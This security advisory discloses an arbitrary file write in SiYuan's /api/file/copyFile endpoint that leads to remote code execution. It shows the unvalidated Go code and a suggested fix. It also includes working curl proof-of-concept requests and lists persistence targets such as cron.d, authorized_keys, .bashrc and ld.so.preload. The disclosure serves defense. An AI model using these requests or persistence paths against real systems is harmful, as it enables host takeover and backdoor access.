GHSA-c4jr-5q7w-f6r9 SiYuan has Arbitrary File Write via /api/file/copyFile leading to RCE

• Go github.com/siyuan-note/siyuan/kernel: <= 0.0.0-20260126094835-d5d10dd41b0c (no fix yet)

Summary The `/api/file/copyFile` endpoint does not validate the `dest` parameter, allowing authenticated users to write files to arbitrary locations on the filesystem. This can lead to Remote Code Execution (RCE) by writing to sensitive locations such as cron jobs, SSH authorized_keys, or shell configuration files. • Affected Version: 3.5.3 (and likely all prior versions) Details • Type: Improper Limitation of a Pathname to a Restricted Directory (CWE-22) • Location: `kernel/api/file.go` - copyFile function ```go // kernel/api/file.go lines 94-139 func copyFile(c *gin.Context) { // ... src := arg["src"].(string) src, err := model.GetAssetAbsPath(src) // src is validated // ... dest := arg["dest"].(string) // dest is NOT validated! if err = filelock.Copy(src, dest); err != nil { // ... } } ``` The `src` parameter is properly validated via `model.GetAssetAbsPath()`, but the `dest` parameter accepts any absolute path without validation, allowing files to be written outside the workspace directory. PoC Step 1: Upload malicious content to workspace ```bash curl -X POST "http://target:6806/api/file/putFile" \ -H "Authorization: Token " \ -F "path=/data/assets/malicious.sh" \ -F "file=@-;filename=malicious.sh" /tmp/pwned.txt hostname >> /tmp/pwned.txt' ``` Step 2: Copy to arbitrary location (e.g., /tmp) ```bash curl -X POST "http://target:6806/api/file/copyFile" \ -H "Authorization: Token " \ -H "Content-Type: application/json" \ -d '{"src": "assets/malicious.sh", "dest": "/tmp/malicious.sh"}' ``` Response: `{"code":0,"msg":"","data":null}` Step 3: Verify file was written outside workspace ```bash cat /tmp/malicious.sh Output: #!/bin/sh id > /tmp/pwned.txt hostname >> /tmp/pwned.txt ``` Attack Scenarios | Target Path | Impact | |-------------|--------| | `/etc/cron.d/backdoor` | Scheduled command execution (RCE) | | `~/.ssh/authorized_keys` | Persistent SSH access | | `~/.bashrc` | Command execution on user login | | `/etc/ld.so.preload` | Shared library injection | RCE Demonstration RCE was successfully demonstrated by writing a script and executing it: ```bash Write script to /tmp curl -X POST "http://target:6806/api/file/copyFile" \ -H "Authorization: Token " \ -d '{"src": "assets/malicious.sh", "dest": "/tmp/malicious.sh"}' Execute (simulating cron or login trigger) sh /tmp/malicious.sh Result cat /tmp/pwned.txt uid=0(root) gid=0(root) groups=0(root)... ``` Impact An authenticated attacker (with API Token) can: 1. Achieve Remote Code Execution with the privileges of the SiYuan process 2. Establish persistent backdoor access via SSH keys 3. Compromise the entire host system 4. Access sensitive data on the same network (lateral movement) Suggested Fix Add path validation to ensure `dest` is within the workspace directory: ```go func copyFile(c *gin.Context) { // ... dest := arg["dest"].(string) // Add validation if !util.IsSubPath(util.WorkspaceDir, dest) { ret.Code = -1 ret.Msg = "dest path must be within workspace" return } if err = filelock.Copy(src, dest); err != nil { // ... } } ``` Solution d7f790755edf8c78d2b4176171e5a0cdcd720feb